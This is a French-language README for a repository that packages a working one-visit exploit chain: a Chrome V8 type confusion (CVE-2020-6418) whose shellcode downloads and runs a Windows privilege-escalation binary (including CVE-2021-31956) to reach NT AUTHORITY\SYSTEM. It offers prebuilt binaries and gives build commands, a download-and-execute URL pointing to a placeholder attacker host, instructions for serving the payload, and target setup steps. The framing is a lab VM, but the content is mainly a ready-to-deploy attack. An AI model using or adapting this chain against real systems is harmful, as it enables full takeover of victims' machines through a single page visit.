
Chaîne d'exploitation en une seule étape pour CVE-2020-6418 (RCE Chrome) chaînée avec une élévation de privilèges Windows vers SYSTEM, avec des scripts de compilation et des binaires précompilés.
Ce dépôt contient une chaîne d'exploit fonctionnelle en une seule étape pour CVE-2020-6418
(un bug de confusion de type dans le compilateur Turbofan de V8, affectant Google Chrome
80.0.3987.87 x64). La visite d'une page malveillante avec un Chrome vulnérable permet
d'obtenir l'exécution de code natif dans le processus de rendu. De là, l'exploit
télécharge et lance un second binaire qui enchaîne deux autres bugs
(un contrôle de longueur manquant dans NtPowerInformation plus CVE-2021-31956, un dépassement
de pool dans ntfs.sys) pour passer d'un processus non privilégié jusqu'à
NT AUTHORITY\SYSTEM.
L'ensemble se déroule en une seule visite de la page, sans étape manuelle entre le bug du navigateur et le shell SYSTEM.
Le crédit original de l'exploit Chrome revient à Clement Lecigne (découverte
du bug, Google TAG) et Istvan Kurucsai / Vignesh S Rao (la preuve de concept
originale, plus tard intégrée comme module Metasploit). Nous avons retiré
les dépendances Metasploit et reconstruit le mécanisme de livraison autour d'un
téléchargeur natif au lieu d'intégrer la charge utile dans la page. Détails dans
browser-exploit/README.md.
browser-exploit/ The Chrome exploit (the V8 bug + the native stub)
exploit_template.html HTML/JS source, with a placeholder for the stub
build_exploit.py generates exploit.html from the template
shellcode/ the native code the exploit injects into Chrome
privilege-escalation/ The Windows EoP chain, a standalone C program
prebuilt/ Ready to use binaries (exploit.html and exploit.exe)
notes/ An earlier approach we tried and abandoned, kept
as a record of what we learned along the way
Machine attaquante (le « host ») : un Windows récent avec Visual Studio 2019 ou 2022 (n'importe quelle édition, Community convient, ou simplement les Build Tools), NASM et Python 3. C'est ici que vous compilez tout et servez la page d'exploit.
Machine cible (la « VM ») : elle doit correspondre exactement, l'exploit repose sur des offsets codés en dur qui ne sont valides que pour ces builds spécifiques.
winver ou
[System.Environment]::OSVersion dans PowerShell.chrome://version.C:\lab8 (il peut être vide, il suffit qu'il existe).Nous avons testé cela sur une VM VMware Workstation avec une carte réseau host only, mais toute configuration où la VM peut atteindre l'hôte en HTTP fonctionne de la même façon.
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
Avant la première compilation, ouvrez browser-exploit\shellcode\download_and_run_stub.asm
et modifiez ces deux lignes près du bas :
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP est l'adresse IP de cette machine telle que vue depuis la VM (exécutez
ipconfig sur la VM et vérifiez la carte réseau qui correspond à votre réseau host
only ou NAT, ou simplement ipconfig sur l'hôte et utilisez la carte sur
le même sous-réseau que la VM). destination_path doit correspondre à l'endroit où vous
voulez que le binaire EoP se retrouve dans la VM, par défaut C:\lab8.
Après modification, réassemblez le stub et régénérez exploit.html (les deux commandes de l'étape 1, en sautant la compilation de privilege-escalation puisque celle-ci ne dépend pas de l'IP).
Si vous ne voulez pas toucher au fichier assembleur pour un test rapide, prebuilt/
contient déjà une copie fonctionnelle avec notre propre IP de test intégrée. Elle ne
fonctionnera que si votre réseau correspond, donc compiler votre propre copie est le
chemin fiable.
Placez exploit.html et exploit.exe (celui compilé dans
privilege-escalation/) dans le même dossier, puis :
python -m http.server 8000
exploit.exe doit être accessible à l'URL exacte que vous avez mise dans
download_url ci-dessus, car le stub natif le récupère directement, pas
à travers le navigateur.
Une note rapide sur le pare-feu de l'hôte : si la VM ne peut pas atteindre le port 8000, c'est
presque toujours le pare-feu Windows Defender qui bloque la connexion entrante sur
un réseau non classifié, ou une règle résiduelle bloquant python.exe
spécifiquement (Windows en crée parfois une automatiquement la première fois
qu'une application tente d'accepter une connexion sur un réseau non approuvé). Vérifiez
Get-NetFirewallRule -DisplayName "python.exe" dans une PowerShell élevée
si vous rencontrez ce problème.
Confirmez que la build Windows et la version de Chrome correspondent aux exigences ci-dessus.
Créez C:\lab8 s'il n'existe pas déjà (vide, c'est suffisant).
S'il s'agit d'une VM nue qui n'a jamais passé un vrai cycle de démarrage,
C:\Windows\bootstat.dat peut être manquant ou vide, et le bug du noyau
a besoin qu'il existe avec un contenu valide. Si nécessaire :
if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
Lancez le Chrome vulnérable avec --no-sandbox (ce PoC n'inclut pas
d'évasion de sandbox, le moteur de rendu doit donc déjà être sans sandbox pour accéder
au système de fichiers et lancer des processus) et pointez-le vers la page :
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
Ouvrez DevTools (F12) et vérifiez l'onglet Console, l'exploit y enregistre sa
progression. Si tout correspond, vous devriez voir la confusion de type
réussir, le stub télécharger et lancer le binaire EoP, et après quelques
secondes une nouvelle fenêtre console s'exécutant en tant que NT AUTHORITY\SYSTEM.
exploit_template.html
(objleaker_offset, float_carw_elements_offset, et les autres) sont
spécifiques à 80.0.3987.87 x64, ils ne fonctionneront pas sur un autre build,
même à une version de patch d'écart.DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, et les différents
offsets EPROCESS/ETHREAD dans privilege-escalation/exploit.c) sont
codés en dur pour cette build.download_url dans download_and_run_stub.asm correspond à l'adresse et au
port sur lesquels l'hôte sert réellement, et que la VM peut l'atteindre (un
simple curl http://YOUR_HOST_IP:8000/exploit.exe depuis la VM est
un moyen rapide de confirmer la connectivité avant de blâmer l'exploit).Plus de détails sur chaque élément, y compris pourquoi il est construit de cette façon, dans le README de chaque dossier.